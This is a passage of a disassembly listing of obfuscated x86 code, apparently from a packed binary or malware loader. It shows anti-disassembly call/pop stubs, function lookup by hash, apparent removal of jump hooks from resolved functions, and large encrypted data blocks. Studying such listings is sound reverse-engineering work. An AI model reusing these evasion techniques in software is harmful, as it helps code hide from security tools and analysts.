		dd 3CD9462Ah, 1CDA6EBAh
		db 0B9h, 0B5h, 77h
; ---------------------------------------------------------------------------


loc_60EC97:				; CODE XREF: sub_60EC48+23j
		movzx	eax, cx
		jmp	loc_60EC03
; ---------------------------------------------------------------------------
		db 38h
; ---------------------------------------------------------------------------
		inc	byte ptr [eax-5BFE7D1Dh]
		stosb
		std
		xchg	eax, esi
		retf
; ---------------------------------------------------------------------------
		dw 0F392h
		dd 0B314B01Eh
		db 63h,	91h, 0A3h
; ---------------------------------------------------------------------------


loc_60ECB3:				; CODE XREF: sub_60EC48:loc_60EC86j
		jmp	loc_60EDA5
; ---------------------------------------------------------------------------
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_60EDA3
		mov	esi, [ebp+7E93539h]
		cmp	esi, 0
		jnz	loc_60ECF5
		mov	byte ptr [ebp+7E92659h], 45h
		push	8E726969h
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7EC9FDBh]
		call	eax
		mov	[ebp+7E9138Dh],	eax
		mov	esi, eax


loc_60ECF5:				; CODE XREF: sub_60EC48+85j
		cmp	byte ptr [esi],	0E9h
		jnz	loc_60ED2F
		lea	eax, [ebp+7EEB7B2h]
		call	eax
		mov	edi, [ebp+7E90905h]
		add	edi, 1184h
		mov	esi, [ebp+7E93539h]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+7E93539h]
		lea	eax, [ebp+7ED4EB4h]
		call	eax


loc_60ED2F:				; CODE XREF: sub_60EC48+B0j
		mov	esi, [ebp+7E911ADh]
		cmp	esi, 0
		jnz	loc_60ED60
		mov	byte ptr [ebp+7E92659h], 54h
		push	0FF4EBEF4h
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7EC9FDBh]
		call	eax
		mov	[ebp+7E911ADh],	eax
		mov	esi, eax


loc_60ED60:				; CODE XREF: sub_60EC48+F0j
		cmp	byte ptr [esi],	0E9h
		jnz	loc_60EDA3
		mov	esi, [ebp+7E911ADh]
		lea	eax, [ebp+7EEB7B2h]
		call	eax
		mov	edi, [ebp+7E90905h]
		add	edi, 1184h
		add	edi, 8
		mov	esi, [ebp+7E911ADh]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+7E911ADh]
		lea	eax, [ebp+7ED4EB4h]
		call	eax


loc_60EDA3:				; CODE XREF: sub_60EC48+76j
					; sub_60EC48+11Bj
		popa
		retn
; ---------------------------------------------------------------------------


loc_60EDA5:				; CODE XREF: sub_60EC48:loc_60ECB3j
		lea	eax, [ebp+7F1AEFEh]
		mov	[ebp+7E9345Dh],	eax
		lea	ecx, [ebp+7F1B0DFh]
		sub	[ebp+7E91979h],	esi
		mov	[ebp+7E9320Dh],	ecx
		push	0
		push	edi
		call	sub_60EDCE
		and	[edi-3Dh], bl
sub_60EC48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60EDCE	proc near		; CODE XREF: sub_60EC48+17Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_60EDCE	endp

; ---------------------------------------------------------------------------
		scasd
		mov	dword ptr [ebp+7E922E5h], 5A88h
		push	0
		push	ebp
		call	sub_60EDF4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60EDF4	proc near		; CODE XREF: sdfs____:0060EDECp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_60EDF4	endp

; ---------------------------------------------------------------------------
		xor	[edi+22B185C7h], bl
		jmp	near ptr loc_60EE13+3
; ---------------------------------------------------------------------------
		align 10h
		push	0
		push	edx


loc_60EE13:				; CODE XREF: sdfs____:0060EE0Aj
		call	sub_60EE1B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60EE1B	proc near		; CODE XREF: sdfs____:loc_60EE13p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_60EE1B	endp

; ---------------------------------------------------------------------------
		sbb	[edi], ecx
		scasd
		xor	[ebp+7E9167Dh],	edi
		push	dword ptr [ebp+7E92279h]
		push	0
		push	esi
		call	sub_60EE45
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60EE45	proc near		; CODE XREF: sdfs____:0060EE3Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_60EE45	endp

; ---------------------------------------------------------------------------
		db 56h,	0ECh, 0A5h
		dd 69EBA836h, 61BD8B1Bh, 0FF07E923h, 0E9228595h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0E03E1EF9h, 8AC6FE86h, 0B697B8C7h, 6A7563h, 0C3195FFh
		dd 0C08B07E9h, 2DB5FEBh, 31452F7Bh, 0E4237F30h,	823285D7h
		dd 7B4F1D7Ah, 0E66B653Ah, 3F3210BAh, 4D512C1Ch,	0D0E18167h
		dd 6A7D888Dh, 0FEDE0264h, 80D584EEh, 13BD1810h,	6B39CD78h
		dd 767A3BAh, 7C6BAB21h,	1B886B37h, 0A4FA2A38h, 0B234DCF5h
		dd 9204F709h, 3BF22626h, 0A4C8BD97h, 0CA888443h, 922C072Ch
		dd 46E93Eh, 0FD7B0000h,	745249DDh, 6C6C416Ch, 7461636Fh
		dd 61654865h, 70h, 14h,	0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_60FFC8
; ---------------------------------------------------------------------------
		push	7F1B3BEh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1B4BFh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1B6D6h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1B7E1h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1BB1Eh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1BBA8h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1BBEAh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1BCE2h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1BD82h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1BDE8h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1BF81h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1C09Eh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		inc	ecx
		stosb
		retf	892Bh
; ---------------------------------------------------------------------------
		dw 1765h
		dd 621C329Eh, 0B33161D3h, 0F9839602h, 5743E474h, 993BBAC2h
		dd 0CF690488h, 73DD5028h, 71169FD9h, 133C7C35h,	0A6D4286Bh
		dd 0A1F549E4h, 0C094DE78h, 0A04A5A68h, 9D33B1E0h, 95E77541h
		dd 0C94B5B03h, 6F836F75h, 50ACCC63h, 8292D664h,	10A63C00h
		dd 0F6D80CCh, 71186437h, 0DF7E9E81h, 0F8750715h, 2953E66Eh
		dd 3440D5C1h, 83FD1FB9h, 7B0517A3h, 23B4A7FAh, 0AB791889h
		dd 8B1937B5h, 0ABEECABBh, 6B8E2873h, 0A7B0CD11h, 86DAA8AAh
		dd 2E4CE064h, 0A851FBD6h, 7D089E4Ah, 7007DD12h,	0B9E8823Ah
		dd 2873B5F9h, 3DA1891Bh, 3BC35A9Ch, 0AD053225h,	1EE6250Dh
		dd 588C1A63h, 41h, 37A0B36Ah, 64E839A5h, 68671A8Ch, 0D437B5ABh
		dd 0E39E1808h, 2873AAA3h, 49A1376Dh, 7E27FFA5h,	2873AB62h
		dd 0BA8AF41Ah, 0A282FC1Eh, 86790316h, 0AF1BE786h, 0E7D9FAA3h
		dd 78C19F9h, 0E9h, 0D2A04AA3h, 5CC4DFDFh, 0DD733130h, 0D4A0B501h
		dd 0CCAE4C08h, 0A5DC7670h, 305CC4E5h, 19BD752Fh, 95EC81F3h
		dd 305CBFD8h, 0F77EF812h, 33C5B745h, 0BFA8E899h, 0C68305Ch
		dd 35FD93E9h, 9A0924F9h, 5CBFA7E7h, 0ED8FA130h,	0A1039311h
		dd 0B5087913h, 7D37B5AEh, 0A579FB11h, 94148D1Fh, 7C2873AEh
		dd 811D9026h, 0CE77F9F4h, 5A96E584h, 69039487h,	0C6F12A38h
		dd 5D3B662Fh, 5580C8F3h, 0D06AFC92h, 469E1C74h,	374D4D3Ch
		dd 0DDC72087h, 26CB9315h, 772AC456h, 20873737h,	0EF03CBD9h
		dd 0C733B18Dh, 0C1BB5EFAh, 4A3F5D28h, 0F8EF673Ch, 0DA2h
		dd 981567F4h, 0D362183Ch, 0ADCF61h, 77FE7C94h, 0A94430C5h
		dd 779AF633h, 0D5CC6805h, 0DD72DE57h, 94A612A3h, 78224BEAh
		dd 6B128909h, 13718B28h, 58D5A74Ah, 911C5EFCh, 37A0B331h
		dd 0AAEDECA5h, 0C9A537B5h, 0C28E5626h, 0ECF64E28h, 6A74C85Eh
		dd 0ED31B3E2h, 4E6A1BD7h, 2E2873AAh, 0CEAC4008h, 6DE6C76h
		dd 0BDBA54Ah, 3ABD5C80h, 986E8FF9h, 5C049A92h, 0F8C809B0h
		dd 3D8C1A2Bh, 9EB199A0h, 0B717EB03h, 0DF12DE5Eh, 0BAh
		dd 0D2A04AEBh, 5CC4DFDFh, 0DD733130h, 0C0C0B14Bh, 50305CC4h
		dd 0E4AE652h, 0D44D91EBh, 305CBF97h, 0AD3F39D3h, 966E0E21h
		dd 7FD9240Ch, 8E43A3DDh, 0FA62F463h, 0DACC2456h, 0B5AE14A7h
		dd 0A3B62237h, 15B14BD9h, 2DB078FCh, 0DE68FF7Ah, 0C7D8CCA3h
		dd 0CEBFEA2Fh, 0C4E35747h, 6D75A5AAh, 2ACA78D8h, 0B75A0294h
		dd 698C28C5h, 91E96613h, 0B78F3C4Bh, 0CA100h, 1666F500h
		dd 63193D9Fh, 0AED066D2h, 0FF7D9507h, 4537DA76h, 9BF730A8h
		dd 0CD6F0676h, 73DD50D4h, 0A7119CDCh, 254AEB95h, 11880879h
		dd 7288286Bh, 0D5A74A0Ch, 98B9B43h, 82FAF35h, 0DA16AC70h
		dd 0A5D765D7h, 0DC78BA08h, 0E1E34339h, 0ED8FAD09h, 1D5FF35Bh
		dd 3B77C3C1h, 72037D9Fh, 0BA3868F4h, 0C5338F7Eh, 2735305Ch
		dd 0DE7CD855h, 29F587AAh, 9D39059Bh, 6A21FD7Fh,	0AB41832Ah
		dd 8C225AFFh, 0E060A0E1h, 38D58430h, 0DB861291h, 0CE63CF32h
		dd 0B2h, 37A0B394h, 0B87DECA5h,	6F3537B5h, 0B8D2EE97h
		dd 0F0B62873h, 0EE33CF66h, 475DD33Ah, 733F5252h, 8E0C228h
		dd 2C9445E4h, 4A8C1A62h, 82h, 0C5449F18h, 50C3305Ch, 957C35C7h
		dd 737B5A9h, 0A974346Dh, 0C2542873h, 62CED4B8h,	2F89247Eh
		dd 0DF92720Ah, 4031CB5Ch, 2FCC79CDh, 1AB63F65h,	2DBB8BF5h
		dd 9DEB70A1h, 7CB3A896h, 6805ED83h, 35C05ACDh, 12F12A24h
		dd 0BE2800D3h, 0E2F87CC3h, 5B56E027h, 18A0F95Bh, 7B83E8B5h
		dd 107F194h, 0FFDB8773h, 1C912759h, 48CADA82h, 8692FE0h
		dd 8B530000h, 24641D9Bh, 0EC18A0E6h, 0C6DC20B6h, 0EE78586Ah
		dd 5CC4F3B3h, 0AB871D30h, 5AEC7BF6h, 3B7B36C0h,	0D5305CC5h
		dd 97E90FCFh, 0A91BAA5Bh, 891B37B5h, 0A8F0CCB5h, 98882873h
		dd 698ECA1Ah, 107CCF17h, 2DD18969h, 0F8754F8Ch,	1AF18C19h
		dd 0D1000000h, 4339DC78h, 0C4BA16F7h, 0F284305Ch, 6E82C66Ah
		dd 1DB27E0Ch, 0FFFFFBE6h, 37A0B3A5h, 0AF720BA5h, 0B521AC9Eh
		dd 594839F1h, 0D937B513h, 2E8A7BCBh, 0D2287313h, 72528F2Eh
		dd 8C8C1A8Eh, 4C8h, 0CAD03FD6h,	732EB82Fh, 37B59F80h, 19A86C36h
		dd 0D1B06D5Ch, 0C963F467h, 0F880973Fh, 0B3529E24h, 860762E8h
		dd 0D5A8742Eh, 0A13BCD5Ah, 631A9A17h, 0A8FA76C5h, 0C2C88140h
		dd 0B8EA7E19h, 0EA94A62Eh, 3143E94Bh, 1BB3D9B8h, 746BFBF2h
		dd 0A8Ah, 70FD7F9Ch, 0AB4A30C4h, 1895E709h, 4FE664BCh
		dd 812C48EDh, 8FA20E2Bh, 0BDD440EDh, 0F51AB63Fh, 0AC4EEA8Bh
		dd 603A23D2h, 6B0F7131h, 3B69A328h, 0ED6A04Ah, 5728B8BBh
		dd 7996D8ABh, 127A007Fh, 0A8E0BE7Bh, 0EE11801Ah, 0A437B51Fh
		dd 4FE06CFEh, 314802Dh,	1F84047Dh, 168C2873h, 0BBDEB287h
		dd 0D167F0F5h, 0DB14940Dh, 0C5E12872h, 5E2872CAh, 0A2DC72D3h
		dd 18B24042h, 0CB9C1A69h, 7E0D982Fh, 0B43F7B10h, 0B4D1662Eh
		dd 0A9A16B21h, 11BDCB1Bh, 1DA77FFDh, 8A9834D5h,	0BE502089h
		dd 0C915678Ah, 0FDD925BBh, 0F7C2225Ah, 823EBC5Dh, 0C202DF7Eh
		dd 3C94041Ah, 2Eh, 0B3EE7886h, 305CC4F3h, 0F6AB871Dh, 4336DA7Bh
		dd 0E5DD8558h, 9321B741h, 920D88F9h, 7F2537B5h,	1E30A7h
		dd 0EE760000h, 0D6EC304Ah, 0A0B3A81Ah, 720BA537h, 2F050210h
		dd 14F53D4Ah, 37B5928Dh, 9DC71F85h, 5BD6A04Ah, 339FB136h
		dd 7F299E56h, 0AB000009h, 0D37DF080h, 4B03D3Fh,	4BE588F2h
		dd 0F854D95Bh, 1E8E2755h, 0E094B919h, 32B2E34Dh, 7EFE1183h
		dd 0C5B745F7h, 265B4728h, 286B0E66h, 0B32E9CAEh, 0ECA537A0h
		dd 37B5B9C9h, 0CF8B5B49h, 0A3A2532Dh, 4F2A7E88h, 6C01869Fh
		dd 55765BF2h, 2886E627h, 95022DC0h, 4CDC6903h, 0A0D27861h
		dd 0C67BB415h, 5F149B6Ah, 0A0020881h, 9EDC705Ch, 6A63710Ch
		dd 1A520876h, 9D98D3DEh, 0ABE6700Ah, 0F93F1CEBh, 35B37F25h
		dd 61E3339Bh, 5A2B079Dh, 97EE4Bh, 3CE5396Bh, 0F155EFA0h
		dd 0C011B844h, 0C337B200h, 0CC219835h, 0F54933C7h, 63745EEFh
		dd 9D1D9426h, 77F15609h, 23A8C52Dh, 3A000001h, 0A537A0B3h
		dd 0B5B9C9ECh, 0C15B4937h, 0AC84F005h, 0C4B64470h, 84BA9B32h
		dd 9EFD9C63h, 4FED4F52h, 1530D12Dh, 0D44F2A05h,	0CD6F9940h
		dd 38A402B3h, 69C6012h,	126C8E2Ah, 0CAF85332h, 0ABAD27DEh
		dd 4A34C602h, 91E309ABh, 0E679F84Dh, 0CCBD5D54h, 0CDD7D9DCh
		dd 75E20D20h, 0AA2A7BE3h, 4229584Eh, 50E135B2h,	34C6F252h
		dd 0B353534Eh, 0E7BDD1F3h, 0AB42DC51h, 0E07D8BA8h, 2958F2BAh
		dd 0D1F38169h, 8531F9ABh, 48390577h, 0D1F38150h, 78AC4D73h
		dd 760DA0D2h, 25BF4810h, 5EDFEF86h, 91ECACE5h, 7E245D9Fh
		dd 28A566EFh, 93182DC0h, 0B7EA84E2h, 5D9F4DF7h,	92128F19h
		dd 825D9F4Dh, 0DBCA9220h, 33FF8559h, 3B0B7587h,	56A63A4Ah
		dd 0E39DB2E3h, 0DBA5B703h, 0AD4CB00Bh, 0C564884Dh, 68B9E903h
		dd 0E3433DD2h, 0F1F353E1h, 0D466D263h, 94875AAAh, 5D386903h
		dd 0AFDEB0A4h, 356C1027h, 0CF6EA575h, 0AF77059Fh, 9A7E8015h
		dd 62FD7077h, 35B8EA96h, 710B2DA9h, 5EB717ADh, 0B47C06DEh
		dd 771Bh, 0A0B3AB00h, 9C4CBB30h, 9F2D8EEDh, 5497700Dh
		dd 8F368778h, 0ABB4AEFEh, 0D7231211h, 0E3E5A0D1h, 534D37B4h
		dd 72E45E5Eh, 0A4267E28h, 0D824BAE8h, 8FF106CEh, 9A56D6CFh
		dd 0CD601A3Eh, 3F26C451h, 88308237h, 72FA9919h,	9B297B28h
		dd 2AAA4A5Fh, 0DD6FE077h
		dd 4599DB71h, 5BF5F33Fh, 62B5FF3h, 8614AE76h, 317120BEh
		dd 0E3287301h, 6C733C1h, 2873017Eh, 3E8C0C96h, 5FD6A04Ah
		dd 0EC7EE904h, 0C55F5F52h, 0F3B1305Ch, 4F17A107h, 6C1DD557h
		dd 37B59EA9h, 0CAFE3C69h, 0B465255Ch, 0F5AF2873h, 6888A660h
		dd 1CB640DAh, 73722565h, 0C62E1628h, 16BA043Bh,	0E8CC247Eh
		dd 1CB83547h, 5DF781FBh, 73756424h, 5B5B5628h, 0B5287375h
		dd 35FDA7EFh, 9E0924F9h, 4A72950Ch, 82202FCCh, 95B824A2h
		dd 5E7A0BE7h, 0E7208A3Ah, 5849E374h, 27E30B49h,	3AEB3B69h
		dd 18A10C9Eh, 0C21FBE42h, 9BEC9902h, 0F676AF37h, 1FE73Ah
		dd 7FE70000h, 7B49A1DBh, 0A537A0B3h, 0B5ABB1ECh, 89238137h
		dd 0F14D2FCDh, 0F4EB07F3h, 29h,	37A0B30Eh, 0AF430BA5h
		dd 1D6465CDh, 0F537B5B3h, 0A801DAFh, 0A9ED0324h, 0D1EF03EFh
		dd 0E091E775h, 287354A0h, 549C3270h, 0D6A04A76h, 9FB1005Bh
		dd 3F90AC33h, 642h, 38B5C754h, 7302789Ch, 0A04D2FC1h, 179E1C74h
		dd 49E490A5h, 0D77A56D3h, 75AC08A5h, 3DD27EF7h,	0F406B243h
		dd 1882EB8Ah, 6B0A2969h, 0F3D1EB28h, 54F0BF3Fh,	6965B9C3h
		dd 0BB23B1C3h, 530EEA6Ah, 19C557C0h, 26BC80F4h,	32A5DCCAh
		dd 8037B59Fh, 8B4BFA22h, 34EA2EC4h, 651CAE39h, 6D859CC2h
		dd 3FF25250h, 6011AB3Ch, 659C6308h, 0E460FAA8h,	1D892456h
		dd 47D561B1h, 6F4BA735h, 7106B3CDh, 47E99DD3h, 5B8D88Fh
		dd 49E20000h, 62A862Fh,	0B95FF974h, 92822EC7h, 1E339D10h
		dd 0E059D75Eh, 961F5DF0h, 0C469EB3Ah, 38B5C768h, 71FC7E9Ch
		dd 9F1F920Ch, 71286B09h, 0A04A655Bh, 9F2D4FE0h,	9FB14B12h
		dd 0C2F54933h, 576h, 44E98BA0h,	0BF3644E8h, 0EC81FB1Dh
		dd 23D25040h, 95185CF1h, 0A3B62207h, 0A9F854D9h, 92E8A2Bh
		dd 0B852FE77h, 544E37BEh, 6B0A5D5Dh, 2785B728h,	7F50ED78h
		dd 54744165h, 9975F3E0h, 0DD15AB62h, 972153F9h,	7B584DFEh
		dd 3D11A4D4h, 2F4DE171h, 60E43D99h, 0F62A069Ch,	0EEA33023h
		dd 305BFBAEh, 3A93C66h,	430616B8h, 0BDF48614h, 38497945h
		dd 0E5B8356Fh, 3741EB4Ah, 0B547D5EFh, 0C35C59FCh, 38DDB92Fh
		dd 58B3A93Ch, 0D36ADF86h, 0A400E13Dh, 58208155h, 0FCC415B4h
		dd 7A940C4Bh, 98h, 0FFBA3F48h, 75BD3F57h, 902ABDB8h, 0B59EEEE1h
		dd 3EDEC437h, 2FADE460h, 8C8802C3h, 9A95F76Eh, 3CD37B0Dh
		dd 0BFF2F43Ch, 60C580F4h, 0E9BC8022h, 874FD94Eh, 66163B8Fh
		dd 0BA760CD0h, 0E0FC752Ch, 0ECB658D7h, 1E58F25Ah, 65172597h
		dd 5A557FCCh, 0EEC11DD5h, 47Eh,	7CF183A8h, 0B73E3CD0h
		dd 0E489F305h, 5BDA5848h, 8D2054F9h, 9BBE1A1Fh,	0B1E04CE1h
		dd 1168233h, 0B05AF67Fh, 5C462FC6h, 6B096525h, 2F9DAF28h
		dd 9B51h, 463BD500h, 305CC546h,	0AE1CD4CEh, 0A537A0B3h
		dd 4A13E4ECh, 968E5638h, 7EBAC814h, 0DE861092h,	33B3423Ch
		dd 12A8E899h, 3A68286Bh, 4630DAFEh, 9F082BFEh, 0F8C5940Dh
		dd 306D2FC3h, 8B00D80Fh, 29F58BE2h, 0C8C059Fh, 42081CAh
		dd 0BD5C0F9Eh, 825CB061h, 0EF78FBB6h, 9E1245Dh,	733127DBh
		dd 5C0B53C6h, 0FAED6124h, 3DEh,	0DC5123C8h, 179EDC70h
		dd 44E993A5h, 0BB3AB8E8h, 0ED80F419h, 3BDEBA7Fh, 1100AC41h
		dd 0A1B6E293h, 50FA56DFh, 0BCE68F26h, 6B07C5C5h, 4F3D4F28h
		dd 5CC51F9Fh, 0C4D0EC30h, 0C651305Ch, 18AE2E67h, 13DB138Eh
		dd 962F384Ah, 439B1F8Eh, 7965CD68h, 5DFFDB2Bh, 0A9750715h
		dd 43EC851Bh, 41346EB3h, 378DA8Dh, 89A20000h, 46EA46EFh
		dd 0F91FB934h, 5242EE87h, 5EF35DD0h, 2019971Eh,	56DF9DB0h
		dd 8429ABFAh, 0F8750728h, 31BCBE5Ch, 5F5F524Ch,	0B1286B08h
		dd 0A04A259Bh, 0B8BB0ED6h, 0A1E49D2Fh, 7137B5A3h, 0F684F005h
		dd 0D56EF7Fh, 0F771A92h, 12B657A3h, 0CA5AF937h,	7CD85527h
		dd 8E43A3D9h, 0CE58F279h, 0D836D3D3h, 0CACAC7D5h, 4AD5D836h
		dd 826E3458h, 1127AF3Fh, 4A01836Fh, 420ED6A0h, 0C727CEA8h
		dd 0DA82FA1Fh, 32EF4B35h, 0BE26B027h, 861CE09Ah, 3AA23CAAh
		dd 0F9569EBh, 0AC432223h, 675337B5h, 4F55A9D3h,	20BC65B9h
		dd 0C42873ADh, 80409138h, 0FE8C19F4h, 38h, 37A0B3C4h, 100B08A5h
		dd 0DA73092Dh, 5D95888Dh, 4A97564Bh, 0A5FF37B5h, 4A0CA859h
		dd 0B5EC2873h, 4CE3EF37h, 0F51BD02Ch, 163AA654h, 5B5AAA77h
		dd 0EF948C1Ah, 2E000000h, 0ED6A04Ah, 71CDAF42h,	79C5B745h
		dd 30BDBF5Dh, 5CC01451h, 56F86430h, 0A67EF812h,	28B68E1Ch
		dd 5CC03979h, 3BC9DB30h, 4731DBFFh, 760629B5h, 0F8214AEh
		dd 305CBF8Fh, 0CAD72381h, 7284CC6Eh, 0D7AA7A08h, 1F53E544h
		dd 21A383FDh, 0D16BFD93h, 0BF4A4A47h, 0D8CA305Ch, 549CDE7Ch
		dd 0B59E26B5h, 415FF637h, 0F8D1542Bh, 0BFE58961h, 67F06336h
		dd 795A38D5h, 9380ABC3h, 0A73D0183h, 0D2CFD911h, 2FC79443h
		dd 0EA73173h, 24EDFFE8h, 0FFBFF2D4h, 11208796h,	0B335FD93h
		dd 0FF76062Bh, 35BCB85Dh, 3C4A9FB6h, 0DF194E86h, 0CB000001h
		dd 73DD5020h, 0A4109DDFh, 0EB45E892h, 18B439BBh, 7EEE87F5h
		dd 4034D9B9h, 921203ADh, 0DE9EB1E3h, 2557E557h,	0C6BBE788h
		dd 286B05C6h, 4A4E3C4Eh, 0FC58D5A7h, 15911C5Eh,	0C586067Bh
		dd 148E305Ch, 0A0B3EEDCh, 0EDECA537h, 5F37B5AAh, 0DE1A62F7h
		dd 0F5AC7032h, 2873A9D9h, 1CDA838Fh, 4DDF9DB0h,	73AA5454h
		dd 0AE6BC28h, 19FB47B9h, 0E3A78Ch, 8D270000h, 0F74F2DC1h
		dd 0B5FCBCEDh, 0B8142873h, 861CE092h, 4A8A38F0h, 0DFDFD2A0h
		dd 31305CC4h, 0E8A8D973h, 28305CC4h, 0BC18E47Ah, 6203E399h
		dd 305CBFE5h, 0E489EB01h, 4055E07Ah, 2381D59Ah,	0E9E1E93h
		dd 2C76305Ch, 383AD0C4h, 0A70611E4h, 891BEB95h,	0A13061FBh
		dd 9137B4EEh, 2CCF6213h, 6CA521BBh, 0EDF5B5ECh,	851F2872h
		dd 5D952FF7h, 1920564Bh, 208C2FC7h, 7B3B76F0h, 95208719h
		dd 3FEC790Fh, 0E775F808h, 913DCF5Dh, 0CE21FF7Ch, 0F423F34h
		dd 0D267EF79h, 0E0485AAAh, 0DE9EB31Dh, 4A29DE53h, 7166FE3Ch
		dd 0C2h, 0B83547D4h, 0F382F81Ch, 20CDAF41h, 971E9CF4h
		dd 0C9641025h, 57FAD653h, 0F52C8825h, 0BD52FE77h, 748632C3h
		dd 98026B0Ah, 6B04A9E9h, 73516B28h, 58D5A74Ah, 911C5EFCh
		dd 0D6A04A31h, 36729844h, 77CF5DDFh, 3143E96Dh,	329A5F9h
		dd 8EA9FC71h, 30C78F19h, 2EEF448h, 13E9EDA4h, 0F9AB384Ah
		dd 0F183A925h, 0D67AE27Ch, 0EE4A58A4h, 8E5620CAh, 6B2B66F0h
		dd 0A5286B13h, 4A5233FFh, 3767ED4h, 768440E9h, 8F268E03h
		dd 5ED3DBCAh, 25AD3819h, 0CC61F784h, 54A8CA60h,	10AA2878h
		dd 433F5685h, 47B388A1h, 10AAF42Bh, 3F732161h, 79B1F3DAh
		dd 9AB07415h, 51FB55D8h, 3E8DF27h, 3A000000h, 0A14AF654h
		dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh
		dd 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h, 3AFFh
		dd 24048F54h, 4240483h,	8904EC83h, 89522404h, 4C281E2h
		dd 83000000h, 148704EAh, 2C895C24h, 4CBA5224h, 0B81E565Fh
		dd 19A7ED47h, 148BD031h, 4C48324h, 3B7768h, 24248900h
		dd 4240483h, 0C389535Dh, 8B085D89h, 0C483241Ch,	242C8B04h
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5024048Bh, 405E089h
		dd 5000000h, 4,	5C240487h, 0F7B9C1E9h, 0F6FD4AFFh, 0D2AC862Eh
		dd 3EA09E05h
; ---------------------------------------------------------------------------


loc_60FFC8:				; CODE XREF: sdfs____:0060EF48j
		mov	eax, 7F1C185h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 2Ah,	28h, 5
		dd 0B784F35Dh, 6CA49645h, 2D8AB167h, 0C4C06C7Bh, 3F817C38h
		dd 0EB0B2626h, 0AF13F845h, 9A79586Ch, 0C5EDAC49h, 0FD813C39h
		dd 0D1721F24h, 0BEC4F23Bh, 0F415DA15h, 0A90F884Dh, 4CA17044h
		dd 72BE371Bh, 0DE81FF34h, 0E227F153h, 7107C04h,	0A9587561h
		dd 0EF0B7368h, 0E0A71531h, 7336B32h, 828D8D2Fh,	8907F1C3h
		dd 0E9091585h, 0D8D8907h, 6A07E932h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 7387C356h
		dd 4B582D2Fh, 9A09FF3Fh, 235BD8Bh, 85C707E9h, 7E922E5h
		dd 6050h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	77C35141h, 7999A8Ah, 0DD1AAF73h, 20859589h, 85C707E9h
		dd 7E922B1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_6100B7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6100B7	proc near		; CODE XREF: sdfs____:006100AFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_6100B7	endp

; ---------------------------------------------------------------------------
		db 0FFh
		dd 0F9D2386h, 0B70F0D63h, 0D99589D2h, 0FF07E91Fh, 0E93151B5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 8CC48EEBh, 95FFD654h, 7E92285h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6DC35545h, 964442DDh
		dd 8997E74Ch, 0B18D893Ch, 8907E921h, 0E900B595h, 0FF006A07h
		dd 0E90C3195h, 0EBC08B07h, 0C17DE948h, 21DC7047h, 654C7CF2h
		dd 574AB34Dh, 61E3B58Dh, 2514A290h, 186FA97Ch, 7F278A02h
		dd 34632850h, 6D1CCE2Bh, 0A5E459D0h, 31A16BFEh,	34B337D4h
		dd 868B697Bh, 18D86B27h, 5798E8F5h, 5E7ACDCBh, 983D9990h
		dd 578D8D92h, 8B07F1C4h, 0E9180195h, 0D8D8907h,	6A07E932h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8041C351h, 85C784D2h, 7E922E5h, 6CE4h, 85C7FA8Bh
		dd 7E922B1h, 0
; ---------------------------------------------------------------------------
		mov	ax, dx
		push	dword ptr [ebp+7E90F11h]
		mov	[ebp+7E90035h],	ebx
		call	dword ptr [ebp+7E92285h]
		push	0
		push	ecx
		call	sub_6101F0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6101F0	proc near		; CODE XREF: sdfs____:006101E8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
